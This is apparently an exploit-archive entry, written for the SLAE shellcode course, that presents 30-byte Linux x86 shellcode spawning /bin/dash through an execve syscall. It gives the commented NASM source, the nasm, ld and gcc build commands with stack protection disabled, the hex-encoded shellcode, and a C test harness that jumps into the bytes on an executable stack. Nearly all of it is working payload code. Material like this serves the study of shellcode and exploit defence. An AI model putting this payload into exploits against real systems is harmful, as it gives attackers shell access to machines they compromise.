Linux/x86 - execve /bin/dash Shellcode (30 bytes)

/*
 
################## Description ####################
 
; Title   : exec /bin/dash - Shellcode
; Author  : Hashim Jawad
; Website : ihack4falafel[.]com
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : spawn /bin/dash shell
; OS      : Linux
; Arch    : x86
; Size    : 30 bytes
 
################### dash.nasm #####################
 
global _start
 
section .text
 
_start:
 
        ; push NULL into the stack
        xor eax, eax
        push eax
 
        ; push (////bin/dash) into the stack
 
        push 0x68736164
        push 0x2f6e6962
        push 0x2f2f2f2f
 
        ; push ESP pointer to EBX
        mov ebx, esp
 
        ; execute  __NR_execve syscall
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 0xb
        int 0x80
 
################### dash binary #####################
 
nasm -f elf32 -o dash.o dash.nasm
 
ld -z execstack -o dash dash.o
 
################### Shellcode ########################
 
objdump -d dash -M intel
 
##################  Compile  #########################
 
gcc -fno-stack-protector -z execstack dash.c -o dash
 
*/
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
 
main()
{
 
    printf("Shellcode Length:  %d\n", strlen(code));
 
    int (*ret)() = (int(*)())code;
 
    ret();
 
}